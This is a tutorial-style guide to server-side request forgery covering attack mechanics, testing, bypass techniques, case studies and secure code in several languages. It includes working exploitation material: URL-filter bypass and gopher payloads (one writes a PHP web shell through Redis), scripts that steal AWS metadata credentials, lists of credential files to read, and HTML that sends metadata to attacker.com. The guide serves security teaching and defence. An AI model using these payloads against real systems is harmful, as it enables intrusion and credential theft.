Complete SSRF Security Guide

Understanding, Identifying, and Preventing Server-Side Request Forgery Vulnerabilities

Comprehensive Guide40+ Code ExamplesSecurity Professional40-60 min read

1.Introduction to SSRF

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to cause the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF attacks, the attacker might cause the server to make a connection to internal-only services within the organization's infrastructure, or force the server to connect to arbitrary external systems, potentially leaking sensitive data.

Critical Impact

SSRF vulnerabilities have led to some of the most severe security breaches in recent years, including the 2019 Capital One breach that exposed data of over 100 million customers. The vulnerability allowed attackers to access AWS metadata endpoints and steal credentials.

What Makes SSRF Dangerous?

•Bypasses Network Segmentation: Attackers can reach internal services that are not directly accessible from the internet
•Cloud Metadata Access: In cloud environments, SSRF can expose sensitive credentials and configuration data
•Port Scanning: Internal network reconnaissance and service enumeration
•Data Exfiltration: Reading local files and accessing internal databases

Types of SSRF

Basic SSRF

The attacker receives a direct response from the target server. The application fetches a resource and returns it to the user, allowing the attacker to see the response content.

Blind SSRF

The application makes the request but doesn't return the response to the attacker. Detection relies on side-channel techniques like timing analysis, DNS lookups, or out-of-band data exfiltration.

Common Attack Scenarios

SSRF vulnerabilities commonly appear in applications that:

•Fetch remote URLs for webhooks, RSS feeds, or URL previews
•Process file uploads that accept URLs as input
•Generate PDFs or documents from HTML/URLs
•Integrate with third-party APIs or services
•Parse XML with external entity references

2.Understanding SSRF Mechanics

To effectively identify and prevent SSRF vulnerabilities, it's crucial to understand how these attacks work at a technical level. This section explores the mechanics of SSRF, including request flows, protocol exploitation, and network architecture considerations.

Attack Flow

A typical SSRF attack follows this pattern:

1. Attacker identifies injection point: Find where the application accepts URLs or makes server-side requests
2. Craft malicious payload: Create a URL targeting internal resources
3. Server makes request: Application fetches the attacker-controlled URL
4. Response handling: Attacker receives data or infers information from timing/errors

Protocol Exploitation

While HTTP/HTTPS are most common, SSRF can abuse other protocols like file://, gopher://, dict://, ftp://, and more depending on the underlying libraries used by the application.

Vulnerable Functions and Libraries

Different programming languages have various functions that can be exploited for SSRF:

pythonpython_vulnerable.py
import requests
import urllib

# Python - Vulnerable SSRF examples
def fetch_url_unsafe(url):
    # requests library - vulnerable if URL not validated
    response = requests.get(url)
    return response.text

def fetch_with_urllib(url):
    # urllib - can access file:// and other protocols
    response = urllib.request.urlopen(url)
    return response.read()

# Attacker can provide:
# http://169.254.169.254/latest/meta-data/
# file:///etc/passwd
# gopher://internal-server:6379/_SET%20key%20value

javascriptnodejs_vulnerable.js
const axios = require('axios');
const http = require('http');

// Node.js - Vulnerable SSRF examples
async function fetchUrlUnsafe(url) {
    // axios - vulnerable without proper validation
    const response = await axios.get(url);
    return response.data;
}

function fetchWithHttp(url) {
    // native http module - can be exploited
    return new Promise((resolve, reject) => {
        http.get(url, (res) => {
            let data = '';
            res.on('data', chunk => data += chunk);
            res.on('end', () => resolve(data));
        }).on('error', reject);
    });
}

// Attacker payloads:
// http://localhost:6379/ (Redis)
// http://127.0.0.1:9200/_search (Elasticsearch)
// http://[::1]:8080/admin (IPv6 localhost)

phpphp_vulnerable.php
<?php
// PHP - Vulnerable SSRF examples

function fetchUrlUnsafe($url) {
    // file_get_contents - supports multiple protocols
    $content = file_get_contents($url);
    return $content;
}

function fetchWithCurl($url) {
    // cURL - vulnerable if CURLOPT_PROTOCOLS not restricted
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

// Exploitable with:
// file:///var/www/html/config.php
// php://filter/convert.base64-encode/resource=/etc/passwd
// dict://localhost:11211/stats (Memcached)
?>

Protocol Smuggling

SSRF attacks can leverage various protocols beyond HTTP:

Protocol	Use Case	Example Target
file://	Read local files	file:///etc/passwd
dict://	Query services	dict://localhost:11211/stat
gopher://	Send arbitrary data	gopher://redis:6379/_SET
ftp://	FTP services	ftp://internal-ftp/
ldap://	LDAP queries	ldap://internal-ldap/
tftp://	Trivial FTP	tftp://internal/config

Cloud Metadata Services

Cloud environments expose metadata services that are prime SSRF targets:

AWS Metadata Service (IMDSv1)

bash
# AWS EC2 Metadata Service
# Accessible at a special non-routable address
curl http://169.254.169.254/latest/meta-data/

# Common endpoints:
curl http://169.254.169.254/latest/meta-data/hostname
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# User data (often contains sensitive info):
curl http://169.254.169.254/latest/user-data/

The AWS metadata service provides temporary credentials that can be used to authenticate to AWS APIs. IMDSv1 is vulnerable to SSRF, while IMDSv2 requires a token obtained via PUT request.

GCP Metadata Service

bash
# Google Cloud Platform Metadata
# Requires special header: Metadata-Flavor: Google
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/

# Get access token:
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Project info:
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/project/project-id

GCP requires the Metadata-Flavor header, but SSRF vulnerabilities that allow header injection can still exploit this service.

Azure Instance Metadata Service (IMDS)

bash
# Azure Instance Metadata Service
# Requires header: Metadata: true
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Get access token:
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Instance details:
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01"

Azure's IMDS requires the Metadata header. The service provides OAuth tokens for Azure Resource Manager and other Azure services.

Real-World Impact

The Capital One breach (2019) exploited an SSRF vulnerability to access AWS metadata and steal credentials. The attacker used these credentials to exfiltrate data from S3 buckets containing personal information of over 100 million customers.

3.Identifying SSRF Vulnerabilities

Effective identification of SSRF vulnerabilities requires both automated scanning and manual testing techniques. This section covers detection methodologies for both black-box and white-box testing scenarios.

Detection Methodology

Black-Box Testing

•Map all URL parameters and inputs
•Test with out-of-band detection
•Analyze timing differences
•Check error messages for information leakage

White-Box Testing

•Code review for HTTP client usage
•Trace user input to network requests
•Identify missing input validation
•Check for URL parsing inconsistencies

Common Injection Points

Look for SSRF vulnerabilities in these common scenarios:

http
# URL Parameters
GET /api/fetch?url=http://evil.com HTTP/1.1

# POST Body (JSON)
POST /api/webhook HTTP/1.1
Content-Type: application/json

{"callback_url": "http://evil.com"}

# File Uploads
POST /upload HTTP/1.1
Content-Type: multipart/form-data

Content-Disposition: form-data; name="avatar"
Content-Type: text/plain

http://evil.com/avatar.jpg

# XML External Entities (XXE to SSRF)
POST /api/parse HTTP/1.1
Content-Type: application/xml

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/secret">
]>
<data>&xxe;</data>

# PDF Generation
POST /api/generate-pdf HTTP/1.1

{"html": "<img src='http://evil.com/track'>"}

# Image Processing
POST /api/resize HTTP/1.1

{"image_url": "http://169.254.169.254/latest/meta-data/"}

Out-of-Band Detection

For blind SSRF, use out-of-band techniques to confirm the vulnerability:

DNS Exfiltration

Use tools like Burp Collaborator, interact.sh, or your own DNS server to detect blind SSRF through DNS lookups. When the server makes a request to your domain, you'll receive a DNS query.

bashoob_detection.sh
# Using Burp Collaborator or interact.sh
# Test payload:
http://YOUR-SUBDOMAIN.burpcollaborator.net
http://YOUR-SUBDOMAIN.interact.sh

# Check for DNS requests in your monitoring tool

# Alternative: Run your own DNS server
# Install and configure dnslog or similar tool
python3 -m http.server 8080 &
# Monitor access logs for incoming requests

# Advanced: DNS exfiltration with subdomains
http://data-exfil.YOUR-DOMAIN.com
# Where 'data-exfil' can contain encoded data

Testing Workflow

Follow this systematic approach to identify SSRF:

1.
Reconnaissance:
Map all endpoints that accept URLs or make external requests. Look for parameters like url, link, callback, webhook, src, href, etc.
2.
Baseline Testing:
Test with a legitimate URL to understand normal behavior, response times, and error handling.
3.
Internal IP Testing:
Try accessing internal IP ranges: 127.0.0.1, 192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12
4.
Cloud Metadata:
Test for cloud metadata endpoints: 169.254.169.254 (AWS/Azure), metadata.google.internal (GCP)
5.
Protocol Testing:
Try different protocols: file://, dict://, gopher://, ftp://
6.
Bypass Testing:
If filters exist, test bypass techniques (covered in next section)
7.
Documentation:
Document findings with proof-of-concept, impact assessment, and remediation recommendations

Automated Scanning

Tools like Burp Suite Pro, Nuclei, and specialized SSRF scanners can help identify potential vulnerabilities. However, manual verification is essential to confirm exploitability and assess real-world impact.

4.SSRF Exploitation Techniques

Once an SSRF vulnerability is identified, various exploitation techniques can be employed depending on the context and available defenses. This section covers advanced bypass methods and exploitation strategies.

Responsible Disclosure

These techniques are for authorized security testing only. Always obtain proper authorization before testing systems you don't own. Unauthorized access is illegal.

Bypass Techniques

Many applications attempt to block SSRF with filters. Here are common bypass techniques:

1. IP Address Encoding

text

1# Different representations of 127.0.0.1
2
3# Decimal notation
4http://2130706433/    # 127*256^3 + 0*256^2 + 0*256 + 1
5
6# Octal notation
7http://0177.0000.0000.0001/
8http://017700000001/
9
10# Hexadecimal notation
11http://0x7f.0x0.0x0.0x1/
12http://0x7f000001/
13
14# Mixed notation
15http://0x7f.0.0.1/
16http://127.0.0.0x1/
17
18# Integer overflow (on some systems)
19http://2852039166/     # 169.254.169.254 as decimal
20
21# IPv6 representations
22http://[::1]/          # IPv6 localhost
23http://[0:0:0:0:0:ffff:127.0.0.1]/  # IPv4-mapped IPv6
24http://[::ffff:127.0.0.1]/
25
26# Enclosed alphanumerics
27http://①②⑦.⓪.⓪.①/

2. DNS Rebinding

DNS rebinding exploits the time-of-check vs time-of-use vulnerability. Set up a domain that resolves to different IPs on subsequent requests:

pythondns_rebinding.py
# DNS rebinding concept
# Domain setup with very low TTL (0 seconds)

# First request:  attacker.com -> 1.2.3.4 (public IP, passes check)
# Second request: attacker.com -> 127.0.0.1 (internal IP, exploited)

# Tools that help: singularity, whonow, rebind.network

# Example attack flow:
# 1. Application checks: "Is attacker.com allowed?"
#    DNS resolves to public IP -> ALLOWED
# 2. Application makes request to attacker.com
#    DNS now resolves to 169.254.169.254 -> EXPLOITED!

3. URL Parser Differentials

Exploit differences between URL validation and URL fetching libraries:

text

1# Using @ symbol to bypass checks
2http://expected-host@169.254.169.254/
3# Some parsers read "expected-host" as hostname
4# But actual request goes to 169.254.169.254
5
6# Using # fragment
7http://169.254.169.254#expected-host.com
8# Fragment may be ignored during validation
9
10# Using \ vs / (Windows)
11http://169.254.169.254\@expected-host.com
12
13# URL with credentials
14http://user:pass@expected-host.com@169.254.169.254/
15
16# Rare characters that might be mishandled
17http://expected-host%00.evil.com
18http://expected-host%0d%0a@evil.com
19
20# Case sensitivity tricks
21http://127.0.0.1 vs HTTP://127.0.0.1

4. Protocol Smuggling

text

1# Using gopher:// to send arbitrary data to services
2
3# Example: Sending commands to Redis
4gopher://127.0.0.1:6379/_SET%20key%20value
5gopher://127.0.0.1:6379/_GET%20key
6
7# Example: SMTP injection
8gopher://internal-smtp:25/_MAIL%20FROM:%3Cattacker@evil.com%3E%0ARCPT%20TO:%3Cvictim@target.com%3E
9
10# Example: Memcached injection
11gopher://127.0.0.1:11211/_set%20key%200%200%205%0Avalue
12
13# Using dict:// for service probing
14dict://127.0.0.1:6379/info
15
16# Using file:// for local file access
17file:///etc/passwd
18file:///c:/windows/win.ini
19
20# Using jar:// (Java)
21jar:http://evil.com!/file.txt
22
23# Using php:// wrappers
24php://filter/convert.base64-encode/resource=/etc/passwd

5. Open Redirect Chains

Combine SSRF with open redirects to bypass domain allowlists:

text

1# If application only allows specific domains:
2http://trusted-domain.com/redirect?url=http://169.254.169.254/
3
4# Chain multiple redirects
5http://trusted-domain.com/redirect?url=http://another-redirect.com/redir?target=http://internal/
6
7# Using URL shorteners
8http://bit.ly/XXXXX -> http://169.254.169.254/
9
10# Using PDF/document generators with redirects
11{"url": "http://trusted-domain.com/redirect?to=file:///etc/passwd"}

6. CRLF Injection

text

1# Inject newlines to manipulate HTTP requests
2http://example.com%0d%0aX-Injected-Header:%20value
3
4# Bypass host checks
5http://expected-host.com%0d%0aHost:%20169.254.169.254
6
7# Full request smuggling (if vulnerable)
8http://example.com%0d%0a%0d%0aGET%20/admin%20HTTP/1.1%0d%0aHost:%20localhost

Advanced Exploitation

Port Scanning Internal Networks

pythonport_scan.py
import requests
import time

def ssrf_port_scan(base_url, target_ip, ports):
    """
    Use SSRF to scan internal network ports
    Timing differences indicate open/closed ports
    """
    results = {}

    for port in ports:
        url = f"{base_url}?url=http://{target_ip}:{port}/"

        try:
            start = time.time()
            response = requests.get(url, timeout=5)
            elapsed = time.time() - start

            # Analyze response
            if response.status_code == 200:
                results[port] = "open"
            elif elapsed > 3:
                results[port] = "filtered/timeout"
            else:
                results[port] = "closed"

        except requests.exceptions.Timeout:
            results[port] = "filtered/timeout"
        except Exception as e:
            results[port] = f"error: {str(e)}"

    return results

# Example usage
base_url = "http://vulnerable-app.com/fetch"
target = "192.168.1.100"
common_ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200]

results = ssrf_port_scan(base_url, target, common_ports)
for port, status in results.items():
    print(f"Port {port}: {status}")

Exploiting AWS Metadata

pythonaws_metadata_exfil.py
import requests

def exploit_aws_metadata(ssrf_url):
    """
    Exploit SSRF to steal AWS credentials from metadata service
    """
    metadata_base = "http://169.254.169.254/latest/meta-data"

    # Step 1: Enumerate IAM roles
    roles_url = f"{ssrf_url}?url={metadata_base}/iam/security-credentials/"
    response = requests.get(roles_url)

    if response.status_code != 200:
        print("Failed to access metadata service")
        return

    role_name = response.text.strip()
    print(f"Found IAM role: {role_name}")

    # Step 2: Get temporary credentials
    creds_url = f"{ssrf_url}?url={metadata_base}/iam/security-credentials/{role_name}"
    response = requests.get(creds_url)

    if response.status_code == 200:
        import json
        creds = json.loads(response.text)

        print("\nStolen AWS Credentials:")
        print(f"AccessKeyId: {creds.get('AccessKeyId')}")
        print(f"SecretAccessKey: {creds.get('SecretAccessKey')}")
        print(f"Token: {creds.get('Token')}")
        print(f"Expiration: {creds.get('Expiration')}")

        return creds

    return None

# Example usage
ssrf_url = "http://vulnerable-app.com/api/fetch"
credentials = exploit_aws_metadata(ssrf_url)

# These credentials can now be used with AWS CLI or SDKs
# export AWS_ACCESS_KEY_ID=...
# export AWS_SECRET_ACCESS_KEY=...
# export AWS_SESSION_TOKEN=...

IMDSv2 Protection

AWS IMDSv2 requires a session token obtained via PUT request, making it resistant to SSRF. However, many older EC2 instances still run IMDSv1. Always test for both versions.

Reading Local Files

bash
# Common files to target on Linux
file:///etc/passwd
file:///etc/shadow
file:///etc/hosts
file:///proc/self/environ
file:///proc/self/cmdline
file:///var/log/apache2/access.log
file:///var/www/html/config.php
file:///home/user/.ssh/id_rsa
file:///root/.bash_history

# Common files on Windows
file:///c:/windows/win.ini
file:///c:/windows/system32/drivers/etc/hosts
file:///c:/inetpub/wwwroot/web.config
file:///c:/users/administrator/.ssh/id_rsa

# Application-specific files
file:///var/www/html/.env
file:///app/config/database.yml
file:///etc/nginx/nginx.conf

Blind SSRF Exploitation

When you don't receive direct responses, use these techniques:

pythonblind_ssrf.py
import requests
import time

def blind_ssrf_timing(base_url, test_ip, port):
    """
    Use timing analysis to detect open ports in blind SSRF
    Open ports typically respond faster than closed ones
    """
    url = f"{base_url}?url=http://{test_ip}:{port}/"

    timings = []
    for i in range(3):  # Multiple attempts for accuracy
        start = time.time()
        try:
            requests.get(url, timeout=10)
        except:
            pass
        elapsed = time.time() - start
        timings.append(elapsed)

    avg_time = sum(timings) / len(timings)

    # Open ports usually respond quickly (< 1s)
    # Closed ports timeout or take longer
    return "possibly open" if avg_time < 2 else "likely closed"

def blind_ssrf_dns_exfil(ssrf_url, collab_url):
    """
    Use DNS exfiltration for blind SSRF detection
    """
    # Payload causes DNS lookup to your domain
    payload = f"{ssrf_url}?url=http://{collab_url}/"

    print(f"Sending payload: {payload}")
    requests.get(payload)

    print(f"Check your DNS logs at {collab_url} for incoming requests")

# Example usage
base_url = "http://vulnerable-app.com/process"
print(blind_ssrf_timing(base_url, "192.168.1.1", 80))

# Use Burp Collaborator or interact.sh
blind_ssrf_dns_exfil(base_url, "your-subdomain.interact.sh")

Bug Bounty Tip

When reporting SSRF findings, clearly demonstrate the impact. Access to cloud metadata, internal services, or sensitive files significantly increases the severity rating. Include detailed reproduction steps and potential business impact.

5.Real-World Examples & Case Studies

Understanding real-world SSRF vulnerabilities helps security professionals recognize patterns and assess impact. This section examines notable security incidents and bug bounty reports.

Capital One Data Breach (2019)

Impact: 100+ million customers affected, $80 million fine from regulators

Attack Chain:

1. Attacker identified SSRF vulnerability in web application firewall (WAF) configuration
2. Exploited SSRF to access AWS metadata service (169.254.169.254)
3. Stole IAM role credentials from metadata endpoint
4. Used credentials to access S3 buckets containing customer data
5. Exfiltrated over 30GB of sensitive data

Root Cause

The vulnerability stemmed from a misconfigured WAF that allowed requests to the metadata service. The instance was running IMDSv1, which doesn't require authentication tokens.

bashcapital_one_attack.sh
# Simplified representation of the attack

# Step 1: Exploit SSRF to reach metadata service
curl -X POST "http://vulnerable-waf.com/api/fetch" \
  -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Response: role-name

# Step 2: Get credentials for the role
curl -X POST "http://vulnerable-waf.com/api/fetch" \
  -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

# Response:
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "...",
#   "Token": "..."
# }

# Step 3: Use stolen credentials with AWS CLI
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Step 4: List and download S3 buckets
aws s3 ls
aws s3 sync s3://capital-one-customer-data ./stolen-data/

Shopify SSRF to RCE

Bounty: $25,000

A security researcher discovered an SSRF vulnerability in Shopify's image processing functionality that could be chained into remote code execution.

Vulnerability Details:

•Image proxy endpoint accepted arbitrary URLs
•Used to access internal services including Redis
•Gopher protocol allowed sending arbitrary Redis commands
•Achieved RCE by writing web shell through Redis

textshopify_ssrf.txt

1# Attack flow
2
3# Step 1: Identify SSRF in image proxy
4POST /api/image-proxy HTTP/1.1
5Host: shopify.com
6Content-Type: application/json
7
8{"url": "http://attacker.com/test.jpg"}
9
10# Step 2: Discover internal Redis (port 6379)
11{"url": "http://127.0.0.1:6379/"}
12
13# Step 3: Use gopher to send Redis commands
14# Gopher protocol allows arbitrary TCP streams
15{"url": "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a"}
16
17# Step 4: Write web shell through Redis
18{"url": "gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$5%0d%0ashell%0d%0a$50%0d%0a<?php system($_GET['cmd']); ?>%0d%0a"}
19
20# Step 5: Save to web root using Redis config
21{"url": "gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a"}
22{"url": "gopher://127.0.0.1:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a"}
23{"url": "gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0asave%0d%0a"}
24
25# Step 6: Execute commands
26http://shopify.com/shell.php?cmd=whoami

Google Cloud SSRF (Metadata Confusion)

Reported: 2020

Researchers found that Google Cloud's requirement for the "Metadata-Flavor: Google" header could be bypassed in certain configurations through CRLF injection.

pythongcp_ssrf_bypass.py
# GCP normally requires special header
# curl -H "Metadata-Flavor: Google" http://metadata.google.internal/

# But CRLF injection can add headers
payload = "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token%0d%0aMetadata-Flavor:%20Google%0d%0a"

# URL-encoded CRLF (%0d%0a) injects newline
# Resulting request:
# GET /computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1
# Host: metadata.google.internal
# Metadata-Flavor: Google
# [rest of headers...]

Uber SSRF via PDF Generator

Bounty: $10,000

An SSRF vulnerability in Uber's PDF receipt generation service allowed access to internal APIs and AWS metadata.

htmluber_pdf_ssrf.html
<!-- PDF generators often process HTML with external resources -->

<!-- Step 1: Embed image pointing to metadata service -->
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">

<!-- Step 2: Use CSS to exfiltrate data -->
<style>
  @import url('http://attacker.com/exfil?data=<?php echo file_get_contents("http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"); ?>');
</style>

<!-- Step 3: JavaScript execution (if enabled) -->
<script>
  fetch('http://169.254.169.254/latest/meta-data/')
    .then(r => r.text())
    .then(data => {
      // Send to attacker's server
      fetch('http://attacker.com/log?data=' + btoa(data));
    });
</script>

<!-- Step 4: SVG with external entities -->
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://169.254.169.254/latest/meta-data/" />
</svg>

Common Patterns in Bug Bounty Reports

High-Value Targets

• Webhook endpoints
• Image processing services
• PDF/document generators
• URL preview features
• RSS/feed readers
• Import from URL functions

High-Impact Findings

• Cloud metadata access
• Internal API exposure
• Database access (Redis, etc.)
• File system access
• RCE chain opportunities
• Sensitive data exposure

Lessons Learned

These real-world examples demonstrate that SSRF is not just a theoretical vulnerability. Proper input validation, network segmentation, and least-privilege principles are critical. Organizations should assume internal networks are hostile and implement defense-in-depth strategies.

6.Prevention & Mitigation

Preventing SSRF requires a defense-in-depth approach combining input validation, network architecture, and secure coding practices. This section provides actionable mitigation strategies for each programming language and framework.

Defense-in-Depth

No single defense is foolproof. Implement multiple layers of protection: input validation, network segmentation, least privilege, and monitoring.

General Prevention Principles

1. Input Validation

• Use allowlists, not blocklists
• Validate URL scheme (http/https only)
• Resolve DNS before validation
• Block private IP ranges (RFC 1918)
• Block cloud metadata endpoints
• Validate after redirects

2. Network Segmentation

• Isolate external request services
• Use egress filtering
• Implement network policies
• Disable unnecessary protocols

3. Application-Level Controls

• Disable redirects or validate destinations
• Set aggressive timeouts
• Limit response sizes
• Remove authentication headers
• Log all external requests

Secure Implementation by Language

Python (requests, urllib)

❌ Vulnerable Code

python
import requests

def fetch_url(url):
    # NO VALIDATION!
    response = requests.get(url)
    return response.text

# Attacker can access anything
fetch_url("http://169.254.169.254/latest/meta-data/")

✅ Secure Code

python
import requests
import socket
import ipaddress
from urllib.parse import urlparse

def is_safe_url(url):
    try:
        parsed = urlparse(url)

        # Only allow http/https
        if parsed.scheme not in ['http', 'https']:
            return False

        # Resolve hostname to IP
        hostname = parsed.hostname
        if not hostname:
            return False

        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)

        # Block private IPs
        if ip_obj.is_private or ip_obj.is_loopback:
            return False

        # Block cloud metadata
        if ip == '169.254.169.254':
            return False

        # Optional: Domain allowlist
        allowed_domains = ['api.trusted.com']
        if hostname not in allowed_domains:
            return False

        return True
    except Exception:
        return False

def fetch_url_safe(url):
    if not is_safe_url(url):
        raise ValueError("URL not allowed")

    response = requests.get(
        url,
        timeout=5,
        allow_redirects=False,  # Disable redirects
        headers={'User-Agent': 'MyApp/1.0'}
    )

    # Limit response size
    if len(response.content) > 10 * 1024 * 1024:  # 10MB
        raise ValueError("Response too large")

    return response.text

Node.js (axios, fetch)

❌ Vulnerable Code

javascript
const axios = require('axios');

async function fetchUrl(url) {
  // NO VALIDATION!
  const response = await axios.get(url);
  return response.data;
}

// Exploitable
fetchUrl('http://169.254.169.254/latest/meta-data/')

✅ Secure Code

javascript
const axios = require('axios');
const dns = require('dns').promises;
const { URL } = require('url');
const ipaddr = require('ipaddr.js');

async function isSafeUrl(urlString) {
  try {
    const url = new URL(urlString);

    // Only allow http/https
    if (!['http:', 'https:'].includes(url.protocol)) {
      return false;
    }

    // Resolve DNS
    const addresses = await dns.resolve4(url.hostname);

    for (const addr of addresses) {
      const ip = ipaddr.parse(addr);

      // Block private ranges
      if (ip.range() !== 'unicast') {
        return false;
      }

      // Block metadata
      if (addr === '169.254.169.254') {
        return false;
      }
    }

    // Domain allowlist
    const allowed = ['api.trusted.com'];
    if (!allowed.includes(url.hostname)) {
      return false;
    }

    return true;
  } catch (err) {
    return false;
  }
}

async function fetchUrlSafe(url) {
  if (!(await isSafeUrl(url))) {
    throw new Error('URL not allowed');
  }

  const response = await axios.get(url, {
    timeout: 5000,
    maxRedirects: 0,
    maxContentLength: 10 * 1024 * 1024, // 10MB
    headers: {
      'User-Agent': 'MyApp/1.0'
    }
  });

  return response.data;
}

PHP (cURL, file_get_contents)

❌ Vulnerable Code

php
<?php
function fetchUrl($url) {
    // DANGEROUS!
    return file_get_contents($url);
}

// Exploitable with file://, php://, etc.
fetchUrl('file:///etc/passwd');
?>

✅ Secure Code

php
<?php
function isSafeUrl($url) {
    $parsed = parse_url($url);

    // Only allow http/https
    if (!in_array($parsed['scheme'], ['http', 'https'])) {
        return false;
    }

    $hostname = $parsed['host'];
    $ip = gethostbyname($hostname);

    // Block private IPs
    if (!filter_var($ip, FILTER_VALIDATE_IP,
        FILTER_FLAG_NO_PRIV_RANGE |
        FILTER_FLAG_NO_RES_RANGE)) {
        return false;
    }

    // Block metadata
    if ($ip === '169.254.169.254') {
        return false;
    }

    // Domain allowlist
    $allowed = ['api.trusted.com'];
    if (!in_array($hostname, $allowed)) {
        return false;
    }

    return true;
}

function fetchUrlSafe($url) {
    if (!isSafeUrl($url)) {
        throw new Exception('URL not allowed');
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 0);

    // Restrict protocols
    curl_setopt($ch, CURLOPT_PROTOCOLS,
        CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS,
        CURLPROTO_HTTP | CURLPROTO_HTTPS);

    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($httpCode >= 300 && $httpCode < 400) {
        throw new Exception('Redirects not allowed');
    }

    return $result;
}
?>

Java (HttpURLConnection, Apache HttpClient)

javaSafeHttpClient.java
import java.net.*;
import java.io.*;
import java.util.*;

public class SafeHttpClient {
    private static final Set<String> ALLOWED_SCHEMES =
        new HashSet<>(Arrays.asList("http", "https"));
    private static final Set<String> ALLOWED_HOSTS =
        new HashSet<>(Arrays.asList("api.trusted.com"));

    public static boolean isSafeUrl(String urlString) {
        try {
            URL url = new URL(urlString);

            // Check scheme
            if (!ALLOWED_SCHEMES.contains(url.getProtocol())) {
                return false;
            }

            // Resolve and check IP
            String hostname = url.getHost();
            InetAddress address = InetAddress.getByName(hostname);

            // Block private IPs
            if (address.isSiteLocalAddress() ||
                address.isLoopbackAddress() ||
                address.isLinkLocalAddress()) {
                return false;
            }

            // Block cloud metadata
            if (address.getHostAddress().equals("169.254.169.254")) {
                return false;
            }

            // Domain allowlist
            if (!ALLOWED_HOSTS.contains(hostname)) {
                return false;
            }

            return true;
        } catch (Exception e) {
            return false;
        }
    }

    public static String fetchUrlSafe(String urlString) throws Exception {
        if (!isSafeUrl(urlString)) {
            throw new SecurityException("URL not allowed");
        }

        URL url = new URL(urlString);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();

        // Security settings
        conn.setInstanceFollowRedirects(false);
        conn.setConnectTimeout(5000);
        conn.setReadTimeout(5000);
        conn.setRequestMethod("GET");
        conn.setRequestProperty("User-Agent", "MyApp/1.0");

        int responseCode = conn.getResponseCode();
        if (responseCode >= 300 && responseCode < 400) {
            throw new SecurityException("Redirects not allowed");
        }

        // Read response with size limit
        try (BufferedReader in = new BufferedReader(
                new InputStreamReader(conn.getInputStream()))) {
            StringBuilder response = new StringBuilder();
            String line;
            int totalSize = 0;
            int maxSize = 10 * 1024 * 1024; // 10MB

            while ((line = in.readLine()) != null) {
                totalSize += line.length();
                if (totalSize > maxSize) {
                    throw new SecurityException("Response too large");
                }
                response.append(line);
            }

            return response.toString();
        }
    }
}

Go (net/http)

gosafe_http.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "net/url"
    "time"
)

var allowedHosts = map[string]bool{
    "api.trusted.com": true,
}

func isSafeURL(urlStr string) bool {
    parsedURL, err := url.Parse(urlStr)
    if err != nil {
        return false
    }

    // Only allow http/https
    if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" {
        return false
    }

    hostname := parsedURL.Hostname()

    // Resolve IP
    ips, err := net.LookupIP(hostname)
    if err != nil {
        return false
    }

    for _, ip := range ips {
        // Block private IPs
        if ip.IsPrivate() || ip.IsLoopback() || ip.IsLinkLocalUnicast() {
            return false
        }

        // Block cloud metadata
        if ip.String() == "169.254.169.254" {
            return false
        }
    }

    // Domain allowlist
    if !allowedHosts[hostname] {
        return false
    }

    return true
}

func fetchURLSafe(urlStr string) (string, error) {
    if !isSafeURL(urlStr) {
        return "", fmt.Errorf("URL not allowed")
    }

    client := &http.Client{
        Timeout: 5 * time.Second,
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse // Don't follow redirects
        },
    }

    req, err := http.NewRequest("GET", urlStr, nil)
    if err != nil {
        return "", err
    }

    req.Header.Set("User-Agent", "MyApp/1.0")

    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    // Check for redirects
